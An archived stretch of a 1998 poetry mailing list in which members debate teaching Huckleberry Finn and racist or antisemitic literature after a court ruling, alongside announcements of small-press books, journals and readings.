What's of interest to me in this sentence is a curious but common bit of slippage. As we move from the works at issue in the case to speculation about possible offenses to white people, suddenly we are discussing "derogatory" portrayals rather than expressions of racism. Note also that there appears to be a presupposition of equivalence between "negative" and "derogatory." These judges appear to be incapable of making a distinction of any sort between characterizations in which somebody is derogated _because_ of their race, and negative prtrayals of individuals quite apart from their race. (For example, would we call descriptions of unsavory English characters in Dickens derogratory portrayals of white people?) This has the effect of emptying out legitimate concerns about racism in literature (though I oppose the solutions sought by the bringers of the case) and reducing them to the old "negative imagery" debate -- a debate that has considerably more merit than readers might gather from this opinion -- again, it's not the outcome of the case that interests me here, but the presuppositions and rhetorical movements within the opinion.

The judges go on to say that "Jews might try to impose civil liability for the teaching of Shakespeare and of more modern English poets where writings exhibit a similar anti-Semitic strain. Female students could attempt to make a case for damages for the assignment of the works of Tenessee Williams, Hemingway or Freud, and male students for the writings of Andrea Dworkin or Margaret Atwood."

There's entirely too much to take on in that, but please note the general ref. to "more modern English poets" as opposed to the specificity of the other examples!

Anyway, as a defender of the teaching of ol Huck, I have always wondered what sort of reaction might be expected by a teacher who brought into class literary works with clearly racist remarks about white people and approached the work with the attitudes commonly used in class-room discussions of Twain --

and here's my question -- has anyone out there ever taught, or been taught, literary works that are clearly racist against white people. (and again, I DO NOT mean simply a negative description of somebody who is white, but an expression of ideological racism)??? If so, how did the discussion go? I have tried on a few occasions to teach some racist poetry from the late 60s, and I can tell you that the fire storm that resulted in the class was not something I'd want to repeat soon -- The same students who earlier told me that cummings was being subtly antiracist found no similar irony in the poems we were discussing.

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576. **Gary Sullivan**

Journal of Artists' Books 10 (d.a. levy issue)

Tue 20 Oct 1998

The new Journal of Artists' Books (JAB 10), edited by book artist Brad Freeman, is out. This issue features three essays on d.a. levy: "The Buddhist Thirdclass Junkmail Oracle--The Life, Mysterious Death and Collected Poetry & Art of d.a. levy" by Mike Golden; "Nostalgia for Relevance," by yours truly; and "The Tibetan Stroboscope of d.a. levy" by listperson/Granary Books publisher, Steve Clay. Also in this issue: Emily McVarish reviews Guillermo Gomez-Pena, Enrique Chagoya and Felicia Rice's (amazing!) _Codex Espangliensis; Lois Martin's "Broaching Texts and Reading Material: Artist Books by Robbin Ami Silverberg"; and an observance of the passing of photographer/printer/book maker Todd Walker.

The single issue is $10. Subscriptions are $20 (US/MEXICO/CANADA) $22 (ELSEWHERE). Send to JAB, 324 Yale Avenue, New Haven, CT 06515

I have five contributor's copies; one's mine, one's earmarked for Wendy Kramer, the other three will go gratis to the first three people who backchannel requesting a copy.

Please-2-have a grrrreat day!

Gary

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577. **shana**
Re: there's a question at the end of this
Tue 20 Oct 1998

On Tue, 20 Oct 1998, Aldon Nielsen wrote:
>
> and here's my question -- has anyone out there ever taught, or been taught,
> literary works that are clearly racist against white people. (and again, I
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> 60s, and I can tell you that the fire storm that resulted in the class was
> not something I'd want to repeat soon -- The same students who earlier told
> me that cummings was being subtly antiracist found no similar irony in the
> poems we were discussing.
>

not racist against whites, but... Several years ago, I wrote a thesis on anti-Semitism in the media, and my professor had asked me to discuss it with the class. Of course, I talked about the airing of the "Hey Jew boy" poem over the radio in the late 60's--there were a lot of hushes and "ohmigods" in the lecture hall. After the class ended, the tension was most uncomfortable. I talked with a few of the black students later, and they were irked--it was as if by reading a racist poem (by a 9-year-old boy!), I had betrayed the black students. "Now all the Jews are going to think we all think this way," was a common complaint. I tried to convince them otherwise; this was an example of anti-semitism in the media, guys, we talked about Henry Ford, too--unfortunately, the black students were right. No great strides were made in the field of black/Jewish relations that semester. :) I've also noticed that even reading Audre Lorde and Ntozake Shange in classes, though they're not blatantly racist, causes white students to feel discrimination. Or so they say. I don't think discriminated is the right word, I think what they really mean is that they're isolated.

shana

"In the blank space below specify how
long you have been awake and why you
were taken by surprise."--Dan Pagis

↑ Index

578. **Gary Sullivan**
MY SUPPLY OF LEVY JAB NOW GONE!
Tue 20 Oct 1998

So, order from Brad as per below. Thanks, everyone! --G

> *The single issue is $10. Subscriptions are $20 (US/MEXICO/CANADA) $22 (ELSEWHERE). Send to JAB, 324 Yale Avenue, New Haven, CT 06515*

↑ Index

579. **Aldon Nielsen**
Re: there's a question at the end of this
Tue 20 Oct 1998

Shana brings up an additional issue, which we've spoken of briefly on the list from time to time -- I've taught at historically black colleges, historically white colleges,,, have taught much of the same materials in each institution --

one of the greatest shocks of my early career (OK, so I'm hopelsessly naive) was the discovery that many white students seem to take any discussion of the history of slavery as an attack upon them --

that this remains an active sentiment in our society was shown by the short-lived recent debate about a possible national "apology" for slavery -- the letters to the editors columns of the American press immediately filled with some of the most vehement (and ignorant) responses I've ever seen -- one letter writer in Colordao went so far as to make the old "positive good" argument (that is, that black Americans are so much better off for having been brought here that they should be thankful for their deliverance from Africa) --

but to return to your example -- what does it say about us that one poem by a school child has been better known lo these past three decades than any anti-antisemitic poem by anybody -- (and the other question I keep coming back to, in whose interests is it for African-Americans and Jewish-Americans to think they are each other's worst enemies?) --

ah Bartleby . . .

↑ Index

580. **Billy Little**
Re: historical ?s
Tue 20 Oct 1998

the Poetry Project at St. Marks was definitely going in 64 with Paul Blackburn, Diane Wakoski and Joel Oppenheimer taking turns supervising the open readings on Monday nights, featured readings were Thursdays. Celebrities read in

the main church, but mostly we read in the back. 1968 was maybe the year they remodeled the main church to make it dance friendly if i'm remembering well.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

581. Thomas A. Vogler
Silliman Reading
Tue 20 Oct 1998

POETRY READING and CELEBRATION

You are invited to celebrate the publication of
QUARRY WEST 34 (RON SILLIMAN AND THE ALPHABET--
A Symposium on the Work of Ron Silliman)

WEDNESDAY, OCTOBER 28, 1998 5-7 PM
KRESGE 159, UCSC

Abundant refreshments will be served.
For further information, directions, etc.
email [redacted]

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582. Dale Smith
Re: Younger Poets Issue 10
Tue 20 Oct 1998

Hi Simon, did you receive these books yet? Please let me know so I can follow up with Michael if you have not. Thanks, Dale

>
>Dale --
>I'd like to order the latest issue of Younger Poets and also the new
Hoa
>Hyugen book.
>
>Current mailing address is:
>

>Simon Schuchat
>Apartment 803
>1001 North Vermont Street
>Arlington, VA 22201
>
>The check will soon be in the mail -- $12, right?
>
>Cheerios,
>
>Simon
>

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

583. **Edward Fristrom**

Re: there's a question at the end of this

Tue 20 Oct 1998

Another issue at stake in the banning o' Twain might be that it is not only an attempt to suppress proliferation of racist representations, but that it is an attempt to cleanse high school classes of all historical evidence of racism among our "respected" authors. Or alternatively. . . since people probably don't complain about such things in history classes, it suggests something about people's peculiar understanding of what "literature" is, that "high culture" protects us some how from bad ideas. Given these concerns, has anyone ever taught a class on "race" and "gender" that focused on historically popular texts that were explicitly racist but never made the cut for late 19th century cannons because of their unpopular representations?

While everyone's dissing Twain, maybe someone should put together a proposal to ban books that are written about cozy New England communities that had slaves, but within which slaves never appear.

Just a thought.

Aldon Nielsen wrote:

> *Poetry and the appeals process --*
>
> *This morning's news carries a story of a federal appeals court's decision*
> *regarding the extent of liability public schools may bear for failure to*
> *respond to student complaints of racial "slurs." The decision also*

> *rejected a claim that a school could be sued for requiring the reading of*
> *_Huckleberry Finn_ and "A Rose for Emily."*

. . .

> *and here's my question -- has anyone out there ever taught, or been taught,*
> *literary works that are clearly racist against white people. (and again, I*
> *DO NOT mean simply a negative description of somebody who is white, but an*
> *expression of ideological racism)??? If so, how did the discussion go? I*
> *have tried on a few occasions to teach some racist poetry from the late*
> *60s, and I can tell you that the fire storm that resulted in the class was*
> *not something I'd want to repeat soon -- The same students who earlier told*
> *me that cummings was being subtly antiracist found no similar irony in the*
> *poems we were discussing.*

↑ Index

584. **Dale Smith**

Re: Younger Poets Issue 10

Tue 20 Oct 1998

Damn, what a hick, sending private notes to you all...

Well, not wanting to waste cyberspace, I'll bore you with some other arcane 'multiple-thoughts-in-one-post.' Herb's post this morning on Adorno and Jazz was very impressive, thoughtful and thorough. I appreciate how he is able to articulate his views of Adorno's position on Jazz without reducing that contradictory and difficult writer's prose to some kind of good/bad dichotomy. And what got into A.L. Nielson today? disturbing the List with that racial gibberyga-book? I can't think of any books I've read that would be considered prejudiced against whites. The chances of those books being published, anyway, are slim, since the publishing powers that be are, predominantly white. The only exception I can think of might be Chester Himes, who did address racial issues directly in many of his books, including Plan B, (published, ironically enough, by the University of Mississippi), which is about a race war in America. (He's another African-American writer who lived in France). But I'd be hard pressed to call his works racist in the way we've come to think of that term. I think he was justifiably pissed, but not ideologically prejudiced against whites. I think his novels would be difficult to teach, however, because he raises a lot of

unpleasant business, issues especially difficult for whites to address. I'm white, and have taken part in many conversations about race, and I know I get defensive, at times, about issues around it. I think it feels threatening to discuss race because, as Adorno would say, we (whites here) are implicated in that power structure that benefited from slavery and exploited emancipation. Racial divisions are deep in the blood, however cliched you might think it sounds. The intellectual responses to race are good for bridging the genetic maelstrom, but my feelings, my responses, if addressed forthright, in the past, have been defensive, ending in an anger that feels engendered by misunderstandings. I think the more engaged one becomes in a conversation re: race, the deeper into the body the words go. And once you're in the body, look out, because there are many years living there, I've discovered.

Well, I didn't mean to say all that... But what Aldon brought up is important, and I thought it should be addressed with, if not some solid examples and rigorous comments, at least an impression of my emotional responses to racial discussions. It's touchy business though, I must confess, because what you know dissolves quickly in the wake of what you feel. This has been my experience anyway.

> *Hi Simon, did you receive these books yet? Please let me know so I can follow up with Michael if you have not. Thanks, Dale*
>
> *Dale --*
> *I'd like to order the latest issue of Younger Poets and also the new Hoa*
> *Hyugen book.*
>
> *Current mailing address is:*
>
> *Simon Schuchat*
> *Apartment 803*
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> *Arlington, VA 22201*
>
> *The check will soon be in the mail -- $12, right?*
>
> *Cheerios,*
>
> *Simon*
>
> ---

> *Get Your Private, Free Email at http://www.hotmail.com*

Get Your Private, Free Email at http://www.hotmail.com

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585. **MAYHEW**
racism & antisemitism
Tue 20 Oct 1998

Are we at the point that teaching a work is equivalent to endorsing everything in it, or necessitates an insurance policy against anything potentially offensive therein? The weirdness of this logic also applies to the idea that by excluding a given work in course we are stigmatizing it in some awful way. No matter how encylopedic a course is it will always exclude more than it can take in.

Sartre said it was impossible to write a good work of literature that was racist or colonialist (I am paraphrasing forgive the inaccuracy of my memory). The logic is that literature is intrinsically on the side of human liberation. It's an argument that I don't hear much anymore--the contemporary equivalent is that the *study or *teaching of literature has to further human liberation. The same argument but once removed.

Twain did not set out to write racist tracts; but racist tracts, insofar as they are taught, will probably taught as such, with the issue of race at the forefront.

There is the famous "literary nullification" doctrine: if the work is great literature, then any anti-semitism, racism, etc... is automatically transcended. Pound's anti-semitism only *looks like anti-semitism, it is really something else. This is self-evidently ridiculous and leads to much tortured reasoning. Yet the idea that any one of us might be sued for teaching The Cantos makes me shudder... For that matter all works of literature written in the past will come up short when measured against contemporary sensibilities.

Jonathan

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586. **Mark Weiss**
Re: racism & antisemitism
Tue 20 Oct 1998

Are you suggesting that Huck Finn is a racist tract or could even be taught as such?

At 04:46 PM 10/20/98 -0500, you wrote:
>Are we at the point that teaching a work is equivalent to endorsing
>everything in it, or necessitates an insurance policy against anything
>potentially offensive therein? The weirdness of this logic also applies to
>the idea that by excluding a given work in course we are stigmatizing it
>in some awful way. No matter how encylopedic a course is it will always
>exclude more than it can take in.
>
>Sartre said it was impossible to write a good work of literature that was
>racist or colonialist (I am paraphrasing forgive the inaccuracy of my
>memory). The logic is that literature is intrinsically on the side of
>human liberation. It's an argument that I don't hear much anymore--the
>contemporary equivalent is that the *study or *teaching of literature has
>to further human liberation. The same argument but once removed.
>
>Twain did not set out to write racist tracts; but racist tracts, insofar
>as they are taught, will probably taught as such, with the issue of race
>at the forefront.
>
>There is the famous "literary nullification" doctrine: if the work is
>great literature, then any anti-semitism, racism, etc... is automatically
>transcended. Pound's anti-semitism only *looks like anti-semitism, it is
>really something else. This is self-evidently ridiculous and leads to
>much tortured reasoning. Yet the idea that any one of us might be sued
>for teaching The Cantos makes me shudder... For that matter all works of
>literature written in the past will come up short when measured against
>contemporary sensibilities.
>
>Jonathan
>
>

↑ Index

587. **MAYHEW**
Re: racism & antisemitism
Tue 20 Oct 1998

On Tue, 20 Oct 1998, Mark Weiss wrote:

> Are you suggesting that Huck Finn is a racist tract or could even be taught
> as such?
>
No, that's not what I meant, and I apologize from my clumsy expression

> of my thought. I meant to distinguish it from such. Is it racist? Is Uncle Tom's Cabin racist? Depends what you want that word to mean, I suppose.

Could it (HF) be taught as such? I hope not, but there is the tendency now to take whatever in a work is closest to contemporary political concerns and make this theme the interpretive key to the work as a whole. Thus Huck Finn would be "about" race, as the vulgar expression has it (I hate that "about"). This is the other extreme from the "nullification" hypothesis that claims that what appears to be racist cannot be so.

For Aldon's original question: there was an article in the M/MLA Journal, a few issues ago, about whiteness. The author, a white woman if I am not remembering wrong, describes some student responses to contemporary African American poems. For me the essay was too much the "look how defensive my white students are" genre, a close cousin of the "my male colleague told me to study Milton" genre of critical essay. The game seems to be one of provoking defensive reactions from barely literate students, then criticizing their defensiveness in print. All the same, it might be worth looking at.

JM

↑ Index

588. Hilton Manfred Obenzinger
Re: racism & antisemitism
Tue 20 Oct 1998

Aldon has raised all sorts of points, but I'd like to address the Huck Finn angle. Yes, the novel has been regarded as racist, particularly because of the use of "nigger," but also because of the employment of minstrel-coloquys (such as the dialogue on French). For these reasons some have tried to ban the book or prevent it from being used as required high school reading. I teach the book on the university level, and I get reports from Stanford students of how the book is taught in high school -- and from these reports I wouldn't be too unhappy if the book was taken off the required reading list, mainly because so many (though, of course, not all) high school teachers seem to be incompetent or teaching the book without any eye towards understanding its dark satire of racial relations or why anyone would be uncomfortable. In addition to reports of racial blindness, I have received more disturbing accounts of out and out racist abuse. It's not the novel, it's not Twain, it's everything about this country that Twain was so in touch with that presents the problem -- particularly for high school students (and teachers) who often are not equiped to perceive the layers of irony (remember Pudd'nhead Wilson: the town could not get his joke, could not perceive irony, but in the end Puddn'head, the smartest man in town, couldn't

perceive the irony of two white people, one deemed a slave and the other deemed free). To decide whether or not something should be on the curiculum for high school students is not censorship -- but if it is on the curiculum it must be taught with the minimum of finese. The horror stories are awful -- and this goes beyond typical mediocrity. Gerald Graff has produced an edition of Huck Finn that contains critical essays that present all the controversies about the book -- all within Graff's theory of bringing the controversies to the classroom. This helps. By ,the time I've finished teaching the book students have an altogether different take on the racial dynamics: there may 19th century stereotypes about black people embedded in Twain's representation of Jim, but what is truly shocking is how disgusting the white people are. From Pap, to the King and the Duke, to the Tom Sawyer -- everyone except Huck (who is simply naive, on the fringe, and not especially enlightened) is blinded, warped, perverted by racism. So, if you want to teach an "anti-white" text, try Huck Finn: if the racial blinders are truly off, the classroom will be thrown into an uproar. This is not to minimize what Aldon is trying to say: the tendency is to accept or wink at or downplay the racist or anti-semitic in "classics," but try to have something that smacks of "anti-white" or in other ways challenging racial hierarchies and all hell breaks out. For example, I've used "Mambo Mouth" by John Leguizamo in my class -- try the final performance on Latino-Japanese cross-over for a little nervous energy.

Hilton Obenzinger

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589. **Karen Kelley**

Re: there's a question at the end of this

Tue 20 Oct 1998

> *I've also noticed that even reading Audre Lorde and Ntozake Shange in classes, though they're not blatantly racist, causes white students to feel discrimination. Or so they say. I don't think discriminated is the right word, I think what they really mean is that they're isolated.*

I think this is a great insight, that white people sometimes feel angry & "discriminated against" when they feel isolated racially. I take this as proof positive of their/our privileged position and it reminds me of a white man in one of my classes at grad school (who, incidentally, didn't think using the word "nigger" in his poetry was any big deal). One day he came in with a tale of being what he called the "only grain of salt" on the subway into class. He was, I think, feeling discriminated against because he felt *awkward*.

I'm tempted to say that I wish classes *would* make white students feel discriminated against, just so they could get a taste, albeit a very mild one, all told.

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590. Elizabeth Treadwell
Tan Lin
Tue 20 Oct 1998

does anyone have a current email for Tan Lin?

b/c, s.v.p.

Eliz.

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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591. charles alexander
Re: racism & antisemitism
Tue 20 Oct 1998

> *By ,the time I've finished*
> *teaching the book students have an altogether different take on the racial dynamics: there may 19th century stereotypes about black people embedded in Twain's representation of Jim, but what is truly shocking is how disgusting the white people are. From Pap, to the King and the Duke, to the Tom Sawyer -- everyone except Huck (who is simply naive, on the fringe, and not especially enlightened) is blinded, warped, perverted by racism.*

I haven't read Huck Finn in 23 years, and I didn't read it until college. But when I did read it, I thought its critique of racism was obvious. So I guess I'm amazed that high school teachers can't deal with it this way. I have children in elementary school, and I actually have had a lot of respect for their teachers so far (through 4th grade, in public schools first in Minneapolis, now in Tucson). I can only hope that when they are in high school they have teachers who are willing and capable of teaching such works as Huck Finn. The current conversation is truly frightening to me.

charles

chax press : alexander writing/design/publishing
[redacted]

http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

↑ Index

592. **Mark Weiss**
Re: racism & antisemitism
Wed 21 Oct 1998

This may be beyond the bounds for a poetics list. A biog piece of the problem is the tenuous connection between students and teachers in HS because the kids move every 45 minutes. This means that teachers can't expand and contract subject-areas, or overlap them (say history and english while reading Huck) depending upon the needs of the moment.

At 08:11 PM 10/20/98 -0700, you wrote:
>>By ,the time I've finished
>>teaching the book students have an altogether different take on the racial
>>dynamics: there may 19th century stereotypes about black people embedded
>>in Twain's representation of Jim, but what is truly shocking is how
>>disgusting the white people are. From Pap, to the King and the Duke, to
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>>racism.
>
>I haven't read Huck Finn in 23 years, and I didn't read it until college.
>But when I did read it, I thought its critique of racism was obvious. So I
>guess I'm amazed that high school teachers can't deal with it this way. I
>have children in elementary school, and I actually have had a lot of
>respect for their teachers so far (through 4th grade, in public schools
>first in Minneapolis, now in Tucson). I can only hope that when they are in
>high school they have teachers who are willing and capable of teaching such
>works as Huck Finn. The current conversation is truly frightening to me.
>
>
>charles
>
>
>chax press : alexander writing/design/publishing
>[redacted]
>http://alexwritdespub.com/chax
>[redacted] (phone) [redacted] (fax)
>
>

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593. **Stephen Cope**
Re: Adorno & Jazz
Wed 21 Oct 1998

Just to mention here Jacques Attali's NOISE: THE POLITICAL ECONOMY OF MUSIC as a book which offers a kind of updated (and perhaps more enlightened) historical take on music (although, if I remember, he makes use of Adorno liberally). Worth checking out for those interested not so much in Adorno, but in the kinds of questions Adorno raises vis-a-vis music.

Any thoughts?

Stephen

↑ Index

594. **J. Kuszai**
new from meow press
Wed 21 Oct 1998

Meow Press has finally resumed its production schedule after a nearly three month hiatus. All of the various equipment, supplies and book parts are out of storage. After a relocating to Spring Valley, though keeping a tony La Jolla p.o. box, the production gnomes here in this tiny apartment are excited to bring forth more poetry products in the coming months.

In celebration of the move to San Diego, Meow Press has added some new items to the catalog. Summer subscribers will receive these gratis.

Jerome Rothenberg, _Paris Elegies & Improvisations_. 24p., $5.00
Bobbie West, _Scattered Damage_. 32p., $6.00
Joel Kuszai, _"A Miscellany"_. 56p., $6.00*

Recent Publications:

Ben Friedlander, _Selected Poems_. 40p., $6.00
Don Cheney, _The Qualms of Catullus & K-mart_. 32p., $6.00
Noemie Maxwell, _Thrum_. 24p., $5.00
Susan Schultz, _Addenda_. 32p., $6.00

In Production Now:

Peter Jaeger, _Leasing Glass_.
David Carl, _The Library_
Stephen Ratcliff, _Signature_

and more!

*Limited Edition. I decided to publish my own book because it was time to be done with it and chasing after other publishers seemed like a task fraught with difficulties and discouragement. It is important to me, also, to be done with this particular work. While I may continue working on it (indeed this is just the first nine sections), it is time to make it available to a general--albeit specific and limited--public.

Meow Press
PO Box 948568
La Jolla, CA 92037

http://writing.upenn.edu/epc/presses

↑ Index

595. **J. Kuszai**
sandy ego reading
Wed 21 Oct 1998

---

oh, and I will be reading with Todd Baron and Guy Bennett as part of the "Beyond the Page" reading series at the Faultline Theater in Hillcrest, San Diego. SUNDAY, OCT 25.

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596. **Joe Amato/Kass Fleisher**
Re: racism & antisemitism
Wed 21 Oct 1998

---

ok, few items:

about twain, i'll just say it: it would take a staunch apologist indeed to wish away the racism of _roughing it_ (1872, an early work)---this directed, as many of you are no doubt aware, against native americans... i still like lots of twain, sure---and the way i see it, through the brothers allman, 'if he's no saint, he sure as hell ain't no sinner'...

though of course, and as twain himself would no doubt concur, we may all be sinners in a more general sense...

some of what may appear "obvious" in huck finn, btw, may not be that obvious... witness the ongoing controversy surrounding, is it?---_was huck finn black?_... someone help me out here, please----an analysis of black dialect when applied to twain's dialogue, with somewhat surprising results...

but as to teaching per se, permit me to digress...

i think here of christopher hitchens's provocative piece in this month's _harper's_, "goodbye to all that: why americans are not taught history"... in

which hitchen's nicely distinguishes twixt two equally useless ways of approaching history---i.e., the e-z "pc/multicultural" path (more and more the domain of corporate sensitivity training and the like, i would argue), over and against that of the true believer (patriotic, conservative, etc., and corresponding master narratives)---only to land on what sounds to me a whole lot like a or perhaps the historical dialectic, with socratic overtones...

along the way, btw, he manages, like so many others, to seem an apologist for---guess who? no other than twain (sans ref. to _roughing it_, naturally)... and why is that?... there was some controversy a while ago, btw, again in the pages of _harper's_, as to whether we should teach twain AT ALL (and not b/c twain uses the 'n' word)---forgot who argued thus (someone famously academic), but the argument as i recall turned on notions of canon formation, relative value, etc....

ok, i like hitchens, he makes me laugh out loud... but what seems absent from his various claims regarding the failure of instruction in history---with which i generally agree---a failure that points to no golden past (for him OR for me), is any real insight into teaching other than a sort of "cultural literacy," content-based approach to same, buttressed, again, by a working grasp of competing historical claims (and here hitchens cites, approvingly, e. d. hirsch)...

there is, that is, little sense in reading hitchens that the broadly sociopolitical (ok?) context in which historical instruction (all formal instruction) takes place, the classroom (itself housed within the college/university), should itself be understood in generally historicized and overdetermined terms... of the roles of "instructor" and "student," e.g., in said historicized, achingly institutional confines... of the distribution of power, through knowledge, as real-ized in such confines... etc etc etc, and regarding which i am so obviously at some pains to detail... i won't bore you folks, as i have in the past, with my "radical teacher" claims, if that's what they are (---and when i use the term "radical teacher," i mean to refer to the movement, the journal, etc., all ostensibly with the purpose to help *liberate*, to provide meaningful social transformation through learning---which so many instructors find such a distastefully direct form of advocacy, i know, but which yet seems to me a worthy aim)... and i'm not suggesting for a second that we don't need or couldn't use more content, or dialectic, or whatever---or that we must be purists in our teaching goals, or learning (and learned) desires...

but what i *am* saying is that one common denominator of the various failed enterprises that mark the instruction of history, as well as so many other fields, would seem to be their tendency to ignore the full implications of that historical insight and contextualizing to which i refer above (of the classroom, or expectations, etc.)... and that this perhaps provides some idea of where to begin, again, a dialogue---which of course would include the question of bringing variously

racist works into the classroom, along with variously racist bodies and variously racist thoughts...

best,

joe

↑ Index

597. **Judy Roitman**
SD
Wed 21 Oct 1998

I will be in San Diego this weekend and would appreciate knowing about any readings.

Please respond back-channel by tomorrow noon --- I have to go off the list again (too much other stuff going on in this so-called life), hope to be back in a week or two, and leave for the airport Thursday afternoon.

Many thanks.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

598. **jesse glass**
Re: racism & antisemitism
Wed 21 Oct 1998

-----Original Message-----
From: MAYHEW <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, October 20, 1998 2:46 PM
Subject: racism & antisemitism

Great quote, Jonathan, but this is the price everyone pays for P.C. --Jesse

>Yet the idea that any one of us might be sued for teaching The Cantos makes me shudder...

> *Jonathan*

↑ Index

599. **Magdalena Zurawski**
Monday Night Poetry Reading
Wed 21 Oct 1998

Please come and hear <bold>John McNally and Magdalena Zurawski</bold> read at The Poetry Project, St. Mark's Church (2nd Ave. and 10th St.) on Monday October 26, 1998 at 8pm.

<bold>Magdalena Zurawski

Executive Development Programs

Stern School of Business

</bold>44 W. 4th Street

New York, NY 10012-1126

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

tel: [redacted]

fax: [redacted]

Departmental E-mail: [redacted]

Website: www.stern.nyu.edu/executive

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600. **Pritchett,Patrick**
Re: new from meow press
Wed 21 Oct 1998

And please allow me to second that plug for Bobbie West's book, _Scattered Damage_, which is wonderfully quirky and delightful, animated by a truly playful and generous poetic spirit. She read here in Boulder last week for the Left Hand Series and really knocked us out.

Patrick Pritchett

↑ Index
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

601. **Maria Damon**
Re: racism & antisemitism
Wed 21 Oct 1998

---

whether or not huck finn is a racist tract, it is believed to be both racist and anti-racist, by different contingents and sometimes the same contingents (see Eric Lott's work, for example, which could be construed as both and anti-racist in intent and apologist in effect).

At 4:11 PM -0700 10/20/98, Mark Weiss wrote:
>Are you suggesting that Huck Finn is a racist tract or could even be taught
>as such?
>
>At 04:46 PM 10/20/98 -0500, you wrote:
>>Are we at the point that teaching a work is equivalent to endorsing
>>everything in it, or necessitates an insurance policy against anything
>>potentially offensive therein? The weirdness of this logic also applies to
>>the idea that by excluding a given work in course we are stigmatizing it
>>in some awful way. No matter how encylopedic a course is it will always
>>exclude more than it can take in.
>>
>>Sartre said it was impossible to write a good work of literature that was
>>racist or colonialist (I am paraphrasing forgive the inaccuracy of my
>>memory). The logic is that literature is intrinsically on the side of
>>human liberation. It's an argument that I don't hear much anymore--the
>>contemporary equivalent is that the *study or *teaching of literature has
>>to further human liberation. The same argument but once removed.
>>
>>Twain did not set out to write racist tracts; but racist tracts, insofar
>>as they are taught, will probably taught as such, with the issue of race
>>at the forefront.
>>
>>There is the famous "literary nullification" doctrine: if the work is
>>great literature, then any anti-semitism, racism, etc... is automatically
>>transcended. Pound's anti-semitism only *looks like anti-semitism, it is
>>really something else. This is self-evidently ridiculous and leads to
>>much tortured reasoning. Yet the idea that any one of us might be sued
>>for teaching The Cantos makes me shudder... For that matter all works of
>>literature written in the past will come up short when measured against
>>contemporary sensibilities.
>>
>>Jonathan

>>
>>

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602. Dean Taciuch
Re: racism & antisemitism
Wed 21 Oct 1998

Hilton Obenzinger brought up the issue of how _Huck Finn_ is taught in High Schools, an issue which was brought to light for me last year when _Huck Finn_ was the University's "Text and Community" selection. "T and C" is an program here at George Mason in which a single work is chosen to be assigned in several different classes, along with presentations at various University venues dealing with the issues in the work. One of the questions I asked my classes about _Huck Finn_ was how the racial aspects were covered in their HS readings of the book (assuming that many had read it in HS). The response was surprising to me: the racial issues were ignored. Responses were generally along the lines of "we didn't talk about that" or even "we were told not to talk about that" (though I don't think anyone "told" them this outright. . .)

Dean

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603. David Zauhar
Samizdat
Wed 21 Oct 1998

Hey folks: I just got the first issue of listguy Bob Archambeau's new periodical, _Samizdat_, and I'd like to put in a good word for it: _Sam._ displays the usual first-issue jitters, of course (someone listed in the contributors' page who's not in the mag, for instance), but other than that, it's outstanding -- translations of Polish and Swedish poets, good essays on their work, etc. I was also glad to see sections of a serial poem by Michael Barrett, a former UIC colleague of mine. For me, however, the most interesting thing was a review by Nathan Wallace of Selected Works volumes by Reginald Gibbons and Rosmarie Waldrop: Wallace highlights common elements shared by both of these poets (whose works I never would have thought of together) without blurring important differences. Well worth checking out if you haven't already seen it yet.

David Zauhar
University of Illinois at Chicago

"And I remember somebody leaning up against the dirt wall of the hillside, deriding William Carlos Williams, when suddenly there was a loud roaring,

crunching noise and a chunk of the hill fell off and covered the person up to his neck. The person, being a young classical poet fresh from NYU, begun screaming that he was being buried alive. Fortunately, the landslide stopped and we dug him out and dusted him off. That was the last time he said anything against William Carlos Williams. The next day he began reading _Journey to Love_ rather feverishly."

--Richard Brautigan.

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604. **Michael Magee**
Re: Adorno & Jazz
Wed 21 Oct 1998

For what it's worth, Attali's book has been very importing to Nate Mackey's thinking around jazz, particularly in "Sound and Sentiment, Sound and Symbol" in *Discrepant Engagement*. -m.

According to Stephen Cope:
>
> Just to mention here Jacques Attali's NOISE: THE POLITICAL ECONOMY OF MUSIC
> as a book which offers a kind of updated (and perhaps more enlightened)
> historical take on music (although, if I remember, he makes use of Adorno
> liberally). Worth checking out for those interested not so much in Adorno,
> but in the kinds of questions Adorno raises vis-a-vis music.
>
> Any thoughts?
>
> Stephen
>

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605. **Poetry Project**
Re: there's a question at the end of this
Wed 21 Oct 1998

> *Racial divisions are deep in the blood,*
> *however cliched you might think it sounds. The intellectual responses to race are good for bridging the genetic maelstrom, but my feelings, my responses, if addressed forthright, in the past, have been defensive, ending in an anger that feels engendered by misunderstandings. I think the more engaged one becomes in a conversation re: race, the deeper into the body the words go. And once you're in the body, look out, because there are many years living there, I've discovered.*

> *Well, I didn't mean to say all that... But what Aldon brought up is important, and I thought it should be addressed with, if not some solid examples and rigorous comments, at least an impression of my emotional responses to racial discussions. It's touchy business though, I must confess, because what you know dissolves quickly in the wake of what you feel. This has been my experience anyway.*

Dale -- while I don't have it in front of me to quote directly from, I've been reading Howard Zinn's People's History of the US recently & your words on words entering the body get me thinking about the laws passed before/after the writing of the Constitution & D of I that were designed in large part to further divisions between whites & blacks, specificly white indentured servants & black slaves as there were enough instances of their banding together to revolt against landowners to constitute a real threat to what was, at the time, a somewhat tenuous power structure. Furthermore, additional laws were passed intended to prevent interracial relations between individuals from reaching any real intimacy (physical, emotional, intellectual, down the line) much less getting past master/slave. I have a feeling I'm not telling you, or anyone else on this list, anything you don't already know, but I think there's enough evidence in our own legal history as a country that racial divisions in America were/are, in part, ushered into the blood, if you believe racial divisions are in the blood, by the word of the law & specific lawmakers which is a different beast altogether from the body & the intellect. That's not to imply that blame ought to be conveniently assigned to laws & lawmakers, but any conversation about racial divisions might make use of how legal language has managed to further those divisions; one might thereby prevent such a conversation from reeling solely between the pillar & post of intellectual & emotional responses (& the further divisions created by that opposition).

